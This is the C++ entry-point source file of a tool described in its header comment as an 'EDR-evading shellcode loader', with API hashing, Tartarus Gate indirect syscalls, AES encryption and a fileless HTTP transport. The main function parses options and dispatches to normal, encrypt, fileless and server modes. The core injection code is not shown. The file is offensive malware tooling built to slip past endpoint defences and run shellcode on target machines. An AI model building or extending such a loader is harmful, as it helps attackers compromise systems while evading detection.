// loader v2.0 — modular EDR-evading shellcode loader // lib: Manual PE parser, API hashing, Tartarus Gate indirect syscalls, // section mapping, AES crypto, HTTP fileless transport #define WIN32_LEAN_AND_MEAN #define NOMINMAX #define _CRT_SECURE_NO_WARNINGS #include #include #include "cli.hpp" #include "loader_core.hpp" #include "../lib/common/log.hpp" int main(int argc, char* argv[]) { SetConsoleOutputCP(CP_UTF8); const Cli::Options opt = Cli::Parse(argc, argv); // Separate channels: loader verbose dumps syscalls/injection; server verbose dumps HTTP only. if (opt.mode == Cli::Mode::Server) { Log::SetVerbose(false); Log::SetServerVerbose(opt.server_verbose); } else { Log::SetVerbose(opt.verbose); Log::SetServerVerbose(false); } if (opt.mode == Cli::Mode::Help) { Cli::PrintUsage(); return 1; } if (opt.mode == Cli::Mode::Banner) { Cli::PrintBanner(); return 0; } // Server does not need Tartarus/syscall table; skip noisy init path. if (opt.mode != Cli::Mode::Server) { if (!LoaderCore::Initialize()) { Log::Err("Syscall init failed"); return 10; } } int rc = 0; switch (opt.mode) { case Cli::Mode::Normal: rc = LoaderCore::RunNormal(opt); break; case Cli::Mode::Encrypt: rc = LoaderCore::RunEncrypt(opt); break; case Cli::Mode::Fileless: rc = LoaderCore::RunFileless(opt); break; case Cli::Mode::Server: rc = LoaderCore::RunServer(opt); break; default: Cli::PrintUsage(); rc = 1; break; } LoaderCore::Shutdown(); return rc; }